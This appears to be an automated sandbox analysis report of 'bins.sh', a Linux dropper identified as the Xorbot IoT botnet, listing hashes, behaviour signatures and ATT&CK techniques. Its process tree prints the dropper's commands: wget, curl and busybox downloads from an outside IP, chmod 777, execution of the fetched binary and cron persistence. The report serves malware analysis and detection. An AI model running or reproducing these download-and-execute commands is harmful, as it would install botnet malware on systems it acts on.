Analysis
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max time kernel
111s -
max time network
157s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
12/12/2024, 00:41
General
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Target
bins.sh
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Size
10KB
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MD5
8e91a79fc4643d1043539fbf479773de
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SHA1
c263691d4c03a21a2ecd42e3851c01f7e63f96a4
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SHA256
25bff07e80ec30f4adc57ac056e6853ad4e01fe0e565c546d9798e20ca112640
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SHA512
18fe143818c303acba1c37d4da2df6de7eb87c7be51ed023251d3fc88ed085a47e3e38f062ceafa26614e197718b76f2c6e682095ca9dcf25b2b520205a1d44a
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SSDEEP
192:/jCQURJoMZ4QBGb7/uTjDsoMZ4Qvn7/uTjiQUH:/jCQURJoMZ4QBGb7/uTjIoMZ4QP7/uTi
Malware Config
Signatures
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Detects Xorbot 1 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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Contacts a large (2161) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 1 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 1 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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Writes file to tmp directory 3 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://216.126.231.164/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://216.126.231.164/bins/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- File and Directory Permissions Modification
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/tmp/woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX./woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
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/bin/rmrm woz0LFXHZjW50O6XboV3WyVp3hPbgH54fX2⤵
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/usr/bin/wgetwget http://216.126.231.164/bins/ypC7J2PVHhmdH54tZdZPvLkmRHWTitt0z92⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD544b8cd4d3cf88d51826815e7a48e04a6
SHA1d4449c847d8c03108c61b4402ce48b002d448d34
SHA25604ae1c95cd90c02081a1736b0ee32777d92c0b703bd17c8113bfb2d0389c2629
SHA512a60d92c0099c9ad21180bcb18f0994439e460a264c55ccfe02905fce86d1190b9dea2ec088b1655072c64240bec85fd5f476257ba63418a9e8ce918f2f0ee17f